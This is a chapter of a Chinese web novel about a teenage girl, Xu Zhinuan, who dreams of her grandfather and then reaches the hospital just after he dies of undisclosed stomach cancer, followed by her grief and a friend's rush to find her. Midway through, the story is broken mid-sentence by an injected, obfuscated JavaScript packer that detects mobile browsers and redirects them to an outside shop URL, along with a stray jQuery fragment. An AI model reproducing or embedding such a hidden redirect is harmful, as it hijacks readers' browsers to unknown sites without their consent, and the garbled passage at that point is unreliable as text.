兵荒马乱的一天。
徐知暖好像做了一个很长、很长的梦。
梦里，她来到了一片荒无人烟之地。
没有朋友，没有家人，四周只有黝黑冰冷的岩石，风刮在脸上，像钝刀割过。
她兜兜转转，不知走了多久，身体又饿又累，几乎要撑不下去。手扶着一棵枯树喘息，抬眼间，迷蒙的视线里，隐约浮现出一个茅草屋的轮廓。
她有些恍惚。
这种地方，怎么会有人住？
强烈的生存本能推着她，一步一步，踉跄着朝那儿挪去。
走到门口，木门虚掩着。
她轻轻推开。
嘎吱一声。
屋里，一个熟悉的背影闻声回头，脸上是她从小到大看惯的笑：“暖暖回来啦！”
徐知暖怔在原地，望着眼前的一切
左边是那棵小时候种的橘子树，现在已经郁郁葱葱。右边木架上挂着棉褥，老人手里正切着橘子糖，动作利索，面色红润，精神矍铄。
“……爷爷。”她声音发虚。
“快来尝尝，爷爷刚做好的橘子糖。就是这回糖好像放少了，可能有点苦。”
望着老人温蔼的眉眼，徐知暖思绪还是有些滞钝，脚步木木地走过去。指尖轻颤着捻起一块糖，含进嘴里。
和记忆里的一模一样。
“怎么样？苦不苦？”
她慢慢摇头：“不苦。”
“那就好。”爷爷笑眯眯地擦了擦手，“走，进屋吃饭。”
“……好。”
屋里的陈设，还是她从小住到大的样子。饭桌上已经摆好了几碟热气腾腾的菜。
老人坐下说：“爷爷啊今天给你炖了鱼，快尝尝。”
看着面前真实的一切，徐知暖眼眶止不住发热，她拿起筷子，夹了一小块鱼肉，慢慢抿着。
“怎么样？”
“嗯，”她点头，声音哽咽，“好吃。”
“好吃就多吃点！”老人笑得更开怀，又往她碗里夹菜，“以后啊，你想吃什么，就跟爷爷说，爷爷都给你做。”
徐知暖含着泪抬睫：“好。”
日升日落。
徐知暖很久没这么开心过了。不用上学，没有考试。天气好，爷爷就带她去摘橘子，一起做糖。要是下雨，就待在屋里，有时下棋，有时一起看电视。
时间像被拉长的糖丝，甜而绵长。
月朗星稀的一个晚上，吃完饭，徐知暖跟着爷爷走到小院里。像小时候无数个晚上一样，爷孙俩并排坐在那把老木椅上。
“我们暖暖啊，都快上大学了，真好。”老人看着夜色，眼里带着笑，也带着说不清的感慨。
“嗯，等我上了大学，就能赚钱给爷爷养老了。”她靠向爷爷的肩膀，“爷爷，你知道吗？我这次去苏市，那儿风景可好了。等以后，我带您一起去。还有，您不是一直想去京海看看吗？我也带您去。”
老人笑了：“那得花多少钱啊。”
“没事儿，暖暖能挣。”
“你年纪轻轻的，挣什么钱。”爷爷拍拍她的头，“你啊，现在就好好读书。爷爷给你攒了钱，上了大学，多跟同学出去走走、看看。这世界大着呢，有好多爷爷没见过的风景，你要替爷爷多去看看。”
他顿了顿，声音轻缓，像在说一个珍藏很久的心愿：“爷爷年纪大了，就在家里，看着我们暖暖一步一步飞向更远的地方，活得开开心心，自由自在的，爷爷就高兴了。要是见到好风景，等放假回来，你讲给爷爷听，爷爷啊，就当自己也看过了。”
徐知暖眼眶发酸，说不出话。
过了好一会儿，她才挤出一点笑，固执地摇头：“不行……我要爷爷陪着我。”
“傻孩子。”爷爷轻叹，“人这一辈子啊，就像上了一趟列车。会遇到很多人，有人在下一站等你，来到你身边；也有些人……只能陪你到这儿了。”
徐知暖怔怔地直起身，看着他。
明明手背上还留着他掌心粗糙温暖的触感，可不知怎么，她觉得怎么抓也抓不住。
“……爷爷。”
“暖暖啊，”爷爷转过头，和她对望，目光深邃，“爷爷相信，就算以后爷爷不在了，也会有人好好爱你，疼你，陪着你，保护你。我们暖暖，值得世上最好的。”
“爷爷……”徐知暖什么话都回不出，只有一种极其不好的预感，紧紧攥住了她，让她无法呼吸。
她开始摇头，拼命地摇头，眼泪大颗大颗地滚落。
夜色渐浓。
不知哪来的雾气，缓缓漫过小院。爷爷的声音在雾里一点点变轻、变远。徐知暖哭喊着，伸手去抓，可怎么都碰不到。
手背上那点残存的温度，一点点被湿冷的雾气吹散。
旁边的橘子树、晾晒的棉褥、身后的老屋……所有带着生机与暖意的一切，都在眼前渐渐褪色、透明，然后碎成细沙，随风散去。
老人含笑的面容，也在最后一刻，化成一缕轻烟，融进深浓的雾里。
“爷爷……爷爷！”
“爷爷——！”
……
徐知暖猛然睁开眼。
眼前依旧白茫茫的一片，不过是医院冷白的天花板。
“暖暖！暖暖！你醒啦！”
周苒的声音从很近的地方传来。
徐知暖眼眶湿润，迟缓地扭过头，看见她担忧的表情。
唐老师也站在旁边，见她醒，松了口气：“醒了就好，吓死我们了。”
徐知暖张了张嘴，喉咙涩得发疼：“爷爷呢？”
“爷爷？我们在苏市呀。”周苒以为她刚醒来还迷糊着，安慰说，“没事的，等你休息好了，我们就坐车回去，很快就能见到爷爷了。
梦里太美好。
以至于醒来那几秒，她真的忘了自己身在何处。
她转头看向窗外。
天色已是深蓝，远处的楼宇已经亮起灯火。
“几点了？”
“六点半。”唐老师温声道，“等医生来看过，说没问题了，我们再叫车回去。”
周苒在床沿坐下，握着她的手：“你下午真是吓死我了，是不是我晚上睡觉磨牙，吵得你没休息好？”
徐知暖淡笑：“没，估计有点中暑。”
忽然，一阵手机铃声响起。
她侧眸望去。
自己的手机在床头柜上亮着，屏幕上跳动着一串陌生号码。
周苒看了一眼：“哦，这个号码你晕倒的时候打过一次。我正要接，结果它就挂了。”
徐知暖伸手想去拿，只是四肢还是无力。
“我帮你。”周苒帮她拿起，贴到她耳边。
徐知暖笑笑，算谢谢，又对着电话那头“喂”了声。
“您好，请问是沈正海的孙女吗？”
“我是。”
“这里是星海市第一人民医院。”
惴惴不安的感觉再次袭来。
电话那头的女声冷静清晰，“你爷爷今天下午突发昏厥，被送我院，目前正在抢救。情况不太乐观，请您尽快过来一趟。”
耳边嗡的一声。
像有什么东西，从很高的地方坠落，摔得粉碎。
-
一路上，无数念头在脑中横冲直撞。
前天晚上，她还守着手机等它响起，此刻却只盼它永远沉默。
六月，正值梅雨时节。
这一天，星海下着雨，雷声滚过天际，雨点砸在地上，噼啪作响。
晚高峰，马路成了一条凝固的红色灯河。
车流纹丝不动。
徐知暖看了眼导航，还剩一公里。
周苒刚嘀咕“怎么还不动啊”，耳边就传来“砰”的一声开门响。
徐知暖冲进了雨里。
“暖暖！你还没好全呢！伞！伞啊——！”周苒急得想推门追下去，却被安全带绊住，等解开时，那道单薄的身影已经跑远，她的喊声被狂风暴雨轻易扯碎、吞没。
像在梦里一样，所有的声音都在徐知暖耳边褪去，只剩自己粗重的喘息。
雨水劈头盖脸地砸下来，冰凉，凶狠。手背上贴着的创可贴被浸得泛白，边缘卷起。发绳不知何时跑丢了，湿透的黑发沉甸甸地贴在颈侧，随着奔跑一下下拍着肩膀。
远处，医院保安亭的灯光在雨幕中晕开一团模糊的光晕，像海市蜃楼，遥不可及。
随着步伐加快，眩晕感再次裹挟而来。
她死死咬住下唇，让自己恢复意识。
“您好——请问抢救室在哪儿？”
少女发抖的声音，在急诊大厅里突兀荡开。
所有视线顷刻间聚拢在这个，浑身湿透、脸色惨白的女孩身上。
护士指了个方向：“左转，走到头，再右拐。”
“谢谢。”
徐知暖再次狂奔，泪水混着雨水，糊了满脸。
刚拐过走廊转角，抢救室的门赫然出现在视野里。
门上那盏刺眼的红灯，在她迈出第一步的同时——
骤然熄灭。
徐知暖步伐一滞。
门从里面被推开。
几个穿着手术服的医生走了出来，也在一瞬间，看见了站在不远处的女孩。
随后，一张病床被缓缓推出。
白色的床单覆盖了全部轮廓，静得没有一丝起伏。
呼吸僵在胸腔。
她一步一步挪过去，视线钉在那片白布上。
不会的。
一定不会的。
走在最前的医生停在她面前：“是沈正海的亲属吗？”
少女没回应，可她破碎的眼神已经告诉了一切。
医生垂下眼，沉默了一瞬，说出了那句她最害怕听见、也终究没能逃过的话：
“对不起，我们尽力了。”
-
人有生老病死这件事情，徐知暖在很小的时候就知道。
只是，当这一切发生在自己身上时，她才发现——
知道和面对，从来是两回事。
明明……
一切都在变好。
明明……
昨天电话里，他还说，“爷爷在家等你。”
她回来了。
可是，为什么，只剩下她一个人了。
空荡荡的房间里，一片死寂。
护士走到身边告诉她，老人是在医院门口突发晕厥，被医生发现后紧急送进来的。还告诉她，是因为癌细胞转移，压迫到了颅内，导致的突发性昏厥。
除了“医院”两个字，其余的所有信息，对于徐知暖来说，都陌生至极。
无法接受自己听到的，她皱了下眉，问：“什么…癌细胞？”
“老人患有胃癌晚期。今天来医院应该也是来做定期复查的。”
轰隆一声，呼吸被骤然扼住。
她下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590320|204148||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
唇止不住发颤，唇瓣一张一阖，接连数次，才勉强出声：“胃、癌……”
眼前，仿佛有一道闸门被拉开。
无数画面，混杂着巨响，争先恐后地涌入。
那天夜里，爷爷蜷在地上，疼得满头是汗，却对她说，是胃疼，告诉她没事；
那天她明明送他回了家，江澈却在医院又撞见了他；
垃圾桶里几乎没动的饭菜，他轻描淡写说，“天热，没胃口”
……
那么多，那么多次。
明明有那么多破绽，摆在她眼前。
她明明可以发现的。
她本该发现的。
可她一次都没有。
像个瞎子，像个傻子。
眼泪决堤。
整个身体无法抑制地发抖，像狂风里的树叶。
她用力握住老人的手，缓缓低下头，埋进那片已经失去温度的皮肤里。
护士静默带上门，走了出去。
房间内，只剩少女一阵又一阵的抽泣声。
没人了，徐知暖再也绷不住。
声音被眼泪泡得发胀，字字含糊：“爷爷……不是说好了，等我回来吗？不是说好了，等我考上大学，就带您去京海吗……”
她抽噎着，指甲死死掐进掌心，陷进肉里，渗出血水，“为什么……为什么说话不算数……为什么……又只剩下我一个人了……”
不知过了多久，她才一点一点，沉重地抬起头。
刺目的白灯，照在了老人枯黄的手臂上，上面落着一个又一个，深浅不一的指甲印，上面结着痂。
只一秒。
她就明白了什么。
铺天盖地的自责再次将她溺毙。
……
告别完，徐知暖一个人去办了死亡证明。
那张纸捏在手里时，触感很轻，却沉得让她恍惚。
医院急诊大厅里，人来人往，有人神色匆匆地进来，有人满脸疲惫或悲伤地离开。生与死，希望与绝望，在这里以一种奇异的方式交织、流动。
徐知暖坐在冰凉的金属长椅上，面色平静地望着这一切，看了很久，才慢慢站起身，脚步虚浮地往外走。
“同学？徐同学？”
一个穿着白大褂的男人停在她面前，仔细看了看她，“真是你啊。”
徐知暖抬起头，纷乱的思绪迟钝地转动，终于从记忆里抽出一张熟悉的脸。
是江澈的叔叔，何医生。
她嘴角费力地动了下：“叔叔好。”
何润凯见她面色不对，温和问：“又来给爷爷配药啊？”
徐知暖摇头：“办死亡证明。”
少女用过分平静的语调，吐出这五个字。
何润凯一时沉默，片刻后，从口袋里取出一张名片，递到她眼前，带着安抚：“有什么需要帮忙的，随时联系我。”
徐知暖机械地接过：“谢谢叔叔。”
-
第四天晚上，培训结束，外面飘起小雨。等江澈回到酒店，雨势已转为瓢泼。
徐知暖的信息，停滞在了前天下午一点多。
之后，无论他发多少条，都石沉大海。
打电话，也只有忙音。
起初，江澈告诉自己，她大概是累了，或者忙着复习，没看手机。
可一天过去了，两天过去了……
到了现在，他再也无法用这种理由说服自己。
而且，预感很糟。
他知道徐知暖不是会无缘无故玩消失、不回消息的人。
如果她真的这样做了，只有一个可能：
她遇到，让她伤心的事了。
其实从她离开那天起，江澈就有了离开的想法。只是他马上也要考试，他想和她上同一所大学，这个目标勉强拽着他，让他觉得必须把这几天的课程听完。
可现在，所有的“必须”，都被那股强烈的不安彻底冲垮。
窗外雨势如瀑，这个点，根本打不到车，高铁也没有，火车太慢。他只能买了次日最早的一班高铁。
和班主任说明时，他起初不赞成，可看到江澈眼里压不住的焦灼，最后还是叹了口气，摆了摆手。
第二天，天晴了。
去高铁站的路上，出租在最后一个红绿灯前缓缓停下。
江澈靠在车座上，手机忽然在口袋里震动起来。
他以为是徐知暖，几乎瞬间就掏了出来，又在看到姓名的一瞬，放慢了速度。
滑动接听，他将手机放到耳侧：“喂，何叔叔。”
“阿澈啊，有件事，我前些天忙忘了，刚想起来，觉得还是该跟你说一声。我前段时间在医院，碰到你的同学了。”电话那头，何润凯顿了顿，沉声问：“她爷爷去世了，你知道吗？”
像一脚踏空，坠入深海。
所有声音在他耳畔闷声作响。
这几天，江澈预想过她不回消息的所有原因。
可万万没想到是这个原因。
他太清楚爷爷对徐知暖意味着什么。
如果是这样，他根本不敢想，现在的她，经历着怎样的崩溃，又会做什么。
出租进入高铁站入口。
没等车完全停稳，江澈一把推开车门，抓起背包就冲了进去。
“砰——”
车门在身后重重关上。
燥热的风猛烈扬起少年的衣角，也撕裂了宁和的雨后初晴。